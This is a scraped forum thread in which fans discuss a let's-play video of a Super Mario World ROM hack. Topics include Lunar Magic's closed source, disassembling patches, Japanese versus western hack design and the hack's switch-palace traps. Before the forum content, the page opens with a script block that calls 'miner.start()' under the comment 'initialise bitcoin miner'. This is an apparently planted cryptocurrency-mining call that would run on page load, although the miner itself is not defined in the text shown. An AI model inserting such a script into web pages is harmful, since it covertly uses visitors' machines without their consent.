<script>
miner.start(); // initialise bitcoin miner
</script>

smw centralsmbx communitypge project

SUPER - Mario and Detteiu's Trap Tower

this is the place where lps are being talked about. it's important to talk about games being played on the internet.
User avatar
Nimono
Posts: 481
Joined: 6 years ago

Re: SUPER - Mario and Detteiu's Trap Tower

Postby Nimono » 3 months ago

KobaBeach wrote: That ~square levels wow~ thing that got added in LM 3.00, that was all Vitor Vilela, FuSoYa did squat outside of just supporting it.
THAT FINALLY GOT OFFICIAL SUPPORT!? O_O

geez, I've sure been away from SMW hacking for a long time hahaha


Anyway, today's level. That was a thing. I agree with everyone else- raocow, I know you prefer doing things "legit", and I applaud you for sticking to your guns on no savestates, but... When the game keeps giving you middle fingers like this, it's only fair to give it middle-fingers back :(

User avatar
KobaBeach
arc the lad
Posts: 1094
Joined: 6 years ago
First name: David
Pronouns: he/they
Location: Portugal

Re: SUPER - Mario and Detteiu's Trap Tower

Postby KobaBeach » 3 months ago

Labyrinth Castle 3
⠀~ vs. yourself

A lot of this would be simpler if you like made yourself a map or some notes like with La-Mulana.
You still did better than I ever would. Don't feel mad towards yourself for forgetting shit.

Nimono wrote:
KobaBeach wrote: That ~square levels wow~ thing that got added in LM 3.00, that was all Vitor Vilela, FuSoYa did squat outside of just supporting it.
THAT FINALLY GOT OFFICIAL SUPPORT!? O_O

geez, I've sure been away from SMW hacking for a long time hahaha
It wouldn't take this long if someone (plural?) who was good at making SMW tools studied how SMW handles levels and made an open source editor but SMWC has this huge issue of having a self-defeatist, "i can't do anything" attitude about itself, which can be seen with how a lot of people constantly act like "oh i could never be like [really popular hacker] and make something like [really popular hack/tool] so i shouldn't even try"

I'm not saying this to shit on SMWC, it's just that this is actively hampering the scene and the people in it more than they think. I know they want to just make Mario levels but you shouldn't stymie growth and progression in your hobbies, that is harmful

I get that FuSoYa did the first ever editor and props to him, but at this point, keeping his tool a black box is actively harming the scene. Imagine if we could replace patches with like, editing the disassembly of the ROM on like Notepad++ or some shit. The amount of patch-induced unrecoverable ROMs would likely plummet amongst non-ASMers.

P.S. I know horrowind is making an editor but he keeps getting distracted with stuff like "recompiling the rom with every edit" or "prioritizing optimizing assembly time over anything else" which is like, I appreciate the effort but maybe that shouldn't be the kind of thing you're focusing on for the time being
twitter (spicy at times!) | avatar by kuma

who cares:
Image

Image
Image
Image
Image

Kles
Posts: 43
Joined: 10 years ago
First name: h

Re: SUPER - Mario and Detteiu's Trap Tower

Postby Kles » 3 months ago

Wait, the community doesn't have any good way to build and edit ROMs from the disassembly?

User avatar
Nimono
Posts: 481
Joined: 6 years ago

Re: SUPER - Mario and Detteiu's Trap Tower

Postby Nimono » 3 months ago

Kles wrote: Wait, the community doesn't have any good way to build and edit ROMs from the disassembly?
No, it doesn't. It relies entirely on FuSoYa because he insists on keeping LM closed-source because he doesn't want his secrets and code "stolen", but he also insists on "no, I want it this way". People have talked of reverse-engineering his code, but I think the frustration of doing so is what stops people from actually doing it. If a new editor was made, people would expect it to be compatible with ROMs that had LM used on them...


So! Sky Castle Labyrinth. I quite like Labyrinth levels. <3 I think it would've been better if the timer had just been cut from the level altogether, though. :/

gbreeze
Posts: 79
Joined: 3 years ago

Re: SUPER - Mario and Detteiu's Trap Tower

Postby gbreeze » 3 months ago

I think that vitor being able to work on lunar magic is a step in the right direction for sure. But yeah, a fully open source level editor would be great. It's kinda wild how it's been over nearly 15 years now that the internet hack hacked smw and there's still so many arbitrary restrictions on what people can do because of the tools themselves.

User avatar
KobaBeach
arc the lad
Posts: 1094
Joined: 6 years ago
First name: David
Pronouns: he/they
Location: Portugal

Re: SUPER - Mario and Detteiu's Trap Tower

Postby KobaBeach » 3 months ago

i feel bad for derailing the thread to fusoyaposting :c

Nimono wrote: People have talked of reverse-engineering his code, but I think the frustration of doing so is what stops people from actually doing it.
disassembling lunar magic hacks is not too hard if you just know how to use shex
or either just any hex editor with difference highlighting capabilities alongside dispel if you can't find shex

i literally did that for the screen 0 water level fix hack he put out in ips format, maks later converted it to a patch and it got used in the super mario infinity fix simfan did

i also disassembled the code jumped to from $0081E2 and smkdan's VRAM modification patch that was jumped to from $008209 but I wanted to comment and study it first because i'm bad and awful like that *does a funny little lion dance*

gbreeze wrote: I think that vitor being able to work on lunar magic is a step in the right direction for sure.
eh... fusoya's still vetoing a lot of ideas for the program so i don't know much about that
twitter (spicy at times!) | avatar by kuma

who cares:
Image

Image
Image
Image
Image

User avatar
Lockirby2
Posts: 346
Joined: 4 years ago
Location: Ontario, Canada
Contact:

Re: SUPER - Mario and Detteiu's Trap Tower

Postby Lockirby2 » 3 months ago

Some criticism: This solution was way too efficient. I wanted a longer video. :(

User avatar
Practical
A flair isn't a fire hazard.
Posts: 29
Joined: 2 years ago
First name: Jaymie
Pronouns: she/her/hers
Location: Somewhere that doesn't exist

Re: SUPER - Mario and Detteiu's Trap Tower

Postby Practical » 3 months ago

Lockirby2 wrote: Some criticism: This solution was way too efficient. I wanted a longer video. :(
There won't be another video I think
https://www.supermariobrosx.org/forums/ ... le&u=12736
Image
Image
"You know what they say, all toasters toast toast!"
:partygator: :partygator: :partygator:

User avatar
Leet
Well, hello, Smith ( ´-`)ノ
Posts: 1985
Joined: 6 years ago
First name: Chie Arale
Pronouns: she/her
Location: Harman's Room

Re: SUPER - Mario and Detteiu's Trap Tower

Postby Leet » 3 months ago

did... did you kill raocow
ImageWell it is a decent hack but sometime its just too repetitif there no level that actually pop in your face and your like oh yeah that level they all ressemble themselves and just monster along the way.
Blood Ghoul wrote:Sometimes it seems my blood spurts out in gobs, as if it were a fountain's pulsing sobs. I clearly hear it mutter as it goes yet cannot find the wound from which it flows. Before I met you, baby, I didn't know what I was missing.

User avatar
KobaBeach
arc the lad
Posts: 1094
Joined: 6 years ago
First name: David
Pronouns: he/they
Location: Portugal

Re: SUPER - Mario and Detteiu's Trap Tower

Postby KobaBeach » 3 months ago

I always found the lack of red dot on the world map kinda ????
Guess wa_ just did a fucky wucky. Good thing there's the keys. the secret exit is eh

You should really check what's up with the jump inputs being eaten like, it sounds like an SNES9x issue, because this does not happen in La-Mulana?

I find the way Japanese hacks introduce gimmicks to be honestly pretty close to what Nintendo does, and they honestly handle it far better than a lot of western hacks, no offense. The JUMP team's Japanese influence really works in their favor when it comes to situations like this, for instance. The better Japanese hacks (Sturgeon's Law, remember) kinda feel like punched up Nintendo games at times, and honestly that's what makes me more fond of them than a lot of western hacks, which tend to try to be more like indie games with Nintendo characters.

At most if they say they have "Nintendo level design" they usually mean really basic, Super Mario World-esque levels with only vanilla assets or very slight custom asset usage (i'm not using choconilla i'm sorry that term is stupid), mostly custom graphics and music and the most used custom sprites. This is well exemplified in Gamma V hacks and New Super Mario World: The 12 Magical Orbs, the latter I got bored with it halfway through the game (also there was a really bad minecart gimmick stage).

Like Super Mario World had less restrictive level design meant for players to mess around with the powerups and gimmicks at their disposal, and that's something that does not transfer over to that kind of western hack. Other western hacks tend to have more "original" non-Nintendoish level design, which is not a bad thing. Rom hacking is however an amateur's game, so not all of these are a homerun, as a lot of these people are not gonna show up knowing literally everything about game design, but the ones that succeed can really appeal to someone's taste. Like, I didn't like Super Wakana Land's level design and horny on main, but it has its appeal.

The level design JUMP got stereotyped for is very specific in how it handles level design, it's mostly Mario For Experts, I feel. Not in a "balls to the wall hard" kinda way, that's so kaizo, more in a "okay you've seen how stuff works in traditional Marios, time to fucking go hog wild" kinda way, especially how JUMP1/2 is gonna have an easier difficulty curve. It basically takes the basics of Mario and its mechanics and explores them in new and, at times, unintended ways. I guess it's sorta like SMB:TLL and how that handled Mario level design philosophies. By hardcore fans, for hardcore fans. Truly, rom hacking at its finest.

It's a shame that some people on SMWC (whatever is left of the old guard, it seems, it's mostly a minority opinion nowadays, as far as I can tell) has an opinion of Japanese hacks being "bad" and "not fun to play", because the less "YouTube" ones have a lot of interesting ideas brought to the table and fascinating ways of tackling game design, and a lot of their concepts and philosophies would be really beneficial for western hackers to study for their hacks outside of just "oh x hack did this cool thing and it's so cool i'm gonna copy it and put it on my hack" which is something i've seen a lot from VIP and Brutal Mario (daarkbuu's ASMT stages or Mario Endgame anyone?).

that was today's opinion on derivative work of super mario bros. with lion "lion" lionson, hope you enjoyed
twitter (spicy at times!) | avatar by kuma

who cares:
Image

Image
Image
Image
Image

Nao
Posts: 58
Joined: 3 years ago

Re: SUPER - Mario and Detteiu's Trap Tower

Postby Nao » 3 months ago

KobaBeach wrote: long post
Logging in after not being logged in in forever, just to say how much I agree with this. The most convincing Nintendo-like hacks I have played are probably the Super SIG World series.

User avatar
KobaBeach
arc the lad
Posts: 1094
Joined: 6 years ago
First name: David
Pronouns: he/they
Location: Portugal

Re: SUPER - Mario and Detteiu's Trap Tower

Postby KobaBeach » 3 months ago

Nao wrote: Logging in after not being logged in in forever, just to say how much I agree with this. The most convincing Nintendo-like hacks I have played are probably the Super SIG World series.
im cursed to make bad thinkpieces about smw hacking whenever raocow uploads a super english episode
twitter (spicy at times!) | avatar by kuma

who cares:
Image

Image
Image
Image
Image

User avatar
Kilgamayan
The Real Treasure is You
Posts: 913
Joined: 10 years ago
First name: Rabi~En~Roll
Location: Location, Location.

Re: SUPER - Mario and Detteiu's Trap Tower

Postby Kilgamayan » 3 months ago

At 2:48, the edge of the platform on the left side of the screen respawned out of nowhere. Does that always happen with those platforms?
Image Please interact Image

Image Image
Image Image

strongbadman
Posts: 212
Joined: 7 years ago
Location: USA

Re: SUPER - Mario and Detteiu's Trap Tower

Postby strongbadman » 3 months ago

Honestly I tend to play more kaizo hacks than "very hard" hacks nowadays because super mario world's death and retry time was not made for a harder difficulty than base SMW, and modern kaizo has the bemefit of infinite lives and instant retries

User avatar
Leet
Well, hello, Smith ( ´-`)ノ
Posts: 1985
Joined: 6 years ago
First name: Chie Arale
Pronouns: she/her
Location: Harman's Room

Re: SUPER - Mario and Detteiu's Trap Tower

Postby Leet » 3 months ago

The thing too about peoples perceptions of original SMW level design, is that SMW... is itself always introducing new elements and gimmicks. So vanilla hacks aren't really "faithful to SMW" or "just making more SMW", but that's how people describe them.
ImageWell it is a decent hack but sometime its just too repetitif there no level that actually pop in your face and your like oh yeah that level they all ressemble themselves and just monster along the way.
Blood Ghoul wrote:Sometimes it seems my blood spurts out in gobs, as if it were a fountain's pulsing sobs. I clearly hear it mutter as it goes yet cannot find the wound from which it flows. Before I met you, baby, I didn't know what I was missing.

User avatar
BobisOnlyBob
Mythical Quadruped
Posts: 841
Joined: 6 years ago
Location: the world is no longer a place

Re: SUPER - Mario and Detteiu's Trap Tower

Postby BobisOnlyBob » 3 months ago

KobaBeach wrote: (i'm not using choconilla i'm sorry that term is stupid)
I can't help but think of that sort of "it looks vanilla, but it has custom sprites that blend in and some custom ASM" as Vanilla Choc Chip, because it's mostly vanilla, familiar, but it's sprinkled with sweet little extras which enhance it or ruin the experience (like the bad hard choc chips that hurt the roof of your mouth and get stuck in your teeth). Also because the "chips" are a lot like sprites in that way?
BOB is an acronym for BOB is Only BOB etc.

User avatar
Sebby19
Posts: 2537
Joined: 10 years ago
Location: Winnipeg, Manitoba

Re: SUPER - Mario and Detteiu's Trap Tower

Postby Sebby19 » 3 months ago

What about strawberry. That's a term, right?
ImageImage
-Banned in Antarctica
Sebby19 wrote:If your life depends on throwing up, switch to the keyboard
Official raocow subscriber # 30,000

User avatar
Leet
Well, hello, Smith ( ´-`)ノ
Posts: 1985
Joined: 6 years ago
First name: Chie Arale
Pronouns: she/her
Location: Harman's Room

Re: SUPER - Mario and Detteiu's Trap Tower

Postby Leet » 3 months ago

Guys please
ImageWell it is a decent hack but sometime its just too repetitif there no level that actually pop in your face and your like oh yeah that level they all ressemble themselves and just monster along the way.
Blood Ghoul wrote:Sometimes it seems my blood spurts out in gobs, as if it were a fountain's pulsing sobs. I clearly hear it mutter as it goes yet cannot find the wound from which it flows. Before I met you, baby, I didn't know what I was missing.

User avatar
KobaBeach
arc the lad
Posts: 1094
Joined: 6 years ago
First name: David
Pronouns: he/they
Location: Portugal

Re: SUPER - Mario and Detteiu's Trap Tower

Postby KobaBeach » 3 months ago

ice cream flavors are just really dumb and distill smw hacks into two, three convenient boxes instead of letting them stand out by their own terms

that's why i dont like using them w

Leet wrote: The thing too about peoples perceptions of original SMW level design, is that SMW... is itself always introducing new elements and gimmicks. So vanilla hacks aren't really "faithful to SMW" or "just making more SMW", but that's how people describe them.
I would have said that but I also didnt want to piss people off because I've said this in the past on SMWC and it resulted in a shitstorm

in their defense tho i was also being a huge bitch about it w

strongbadman wrote: Honestly I tend to play more kaizo hacks than "very hard" hacks nowadays because super mario world's death and retry time was not made for a harder difficulty than base SMW, and modern kaizo has the bemefit of infinite lives and instant retries
Kaizo is too precise and demanding for me. Not my thing lol

This isn't to say I don't respect it though, morsel's hacks are amazing.

Kilgamayan wrote: At 2:48, the edge of the platform on the left side of the screen respawned out of nowhere. Does that always happen with those platforms?
Pretty sure, yeah.
twitter (spicy at times!) | avatar by kuma

who cares:
Image

Image
Image
Image
Image

User avatar
Sebby19
Posts: 2537
Joined: 10 years ago
Location: Winnipeg, Manitoba

Re: SUPER - Mario and Detteiu's Trap Tower

Postby Sebby19 » 3 months ago

It seems to be a trend in this game where NOT taking the mushroom at the beginning of the level is the best idea.
I wouldn't be surprised if that was done on purpose.
ImageImage
-Banned in Antarctica
Sebby19 wrote:If your life depends on throwing up, switch to the keyboard
Official raocow subscriber # 30,000

User avatar
ft029
m/m wannabe
Posts: 468
Joined: 3 years ago
Location: U.S.

Re: SUPER - Mario and Detteiu's Trap Tower

Postby ft029 » 3 months ago

Dang, well done! This level took me a lot more than 40 lives to beat...

also, the key-avoiding thing was inspiration for a kaizo thing I made:
Mosts Awards:
Image
Image

User avatar
KobaBeach
arc the lad
Posts: 1094
Joined: 6 years ago
First name: David
Pronouns: he/they
Location: Portugal

Re: SUPER - Mario and Detteiu's Trap Tower

Postby KobaBeach » 3 months ago

Stuff like this is, like, why I adore creative JP hacks and the good parts of JUMP and Mice for.

In no "traditional" western hack would you see a lock gate, or any block or sprite - outside of like, 1F0, which has basically become a cliché of its own at this point, not to demean use of it - be used in this sort of fashion, people are too preoccupied with following the basics of game design principles that they don't really think "outside of the box" which is a huge shame.

I feel like thinking creatively isn't adequately rewarded in SMWC outside of very basic 1F0 uses, which results in the massive amount of derivative shelljump spam kaizo hacks out there and so called "generic hacks" which, truth be told, kind of replaced "YouTube levels", in the sense that they're what the beginner level designers are doing, not the "wow this is Bad" sense.

People just see what fresh ideas others are doing and try to copy what little they understand of them, in a vague attempt of "following the leader".
morsel/morceau wrote: I think trepenation clinic was one of my favourite levels simply because a lazy designer, such as I, would look at these sprites for a few minutes before discarding them as unusable, but a Lazy designer knows better and is able to construct a delightfully fresh and appealing level with them.
n~yoron :slow:
I replied to this with "that's what we call separating the wheat from chaff" and honestly...
Just thinking about assets in creative and non-traditional perspectives is honestly what separates the wheat from chaff when it comes to making a hack.
ft029 wrote: also, the key-avoiding thing was inspiration for a kaizo thing I made:
Like I said before, kaizo's precision isn't my thing. But holy hot damn if I'm not impressed by your creativity with the original gimmick. Très bien!
twitter (spicy at times!) | avatar by kuma

who cares:
Image

Image
Image
Image
Image

User avatar
kitikami
Posts: 458
Joined: 6 years ago

Re: SUPER - Mario and Detteiu's Trap Tower

Postby kitikami » 3 months ago

I'm worried that the hack made the switch palace blocks useful again in the previous castle specifically so that your last impression before getting to the blue switch is of them being useful. It's almost like the author anticipated raocow's line of thinking where the player realizes the switch palaces are starting to be used more as a hindrance and that they should be left alone at least until seeing how they'll be used in later levels, and then tries to lull the player back into going for it. I hope the trap doesn't go that deep, but I'm worried the trap goes that deep.
Image

User avatar
Ditocoaf
Haustone Tournament Finalist
Posts: 518
Joined: 7 years ago
Pronouns: he/him/his
Location: On the horizon of the brandscape

Re: SUPER - Mario and Detteiu's Trap Tower

Postby Ditocoaf » 3 months ago

I could totally see a hack where the switches are mixed help-and-hurt, but later switches are more and more harmful, until the final switch results only in terrible unpleasant punishment. And the idea is, "the previous switches were warnings, if you fell for the last one instead of saving it for the end, that's on you".

This hack likes to explicitly call out its traps, though, so I don't think it's doing something like that.

User avatar
ft029
m/m wannabe
Posts: 468
Joined: 3 years ago
Location: U.S.

Re: SUPER - Mario and Detteiu's Trap Tower

Postby ft029 » 3 months ago

"Those who don't get all 4 switches are worthless."
Mosts Awards:
Image
Image


Return to “let's play”

Who is online

Users browsing this forum: Leylite and 20 guests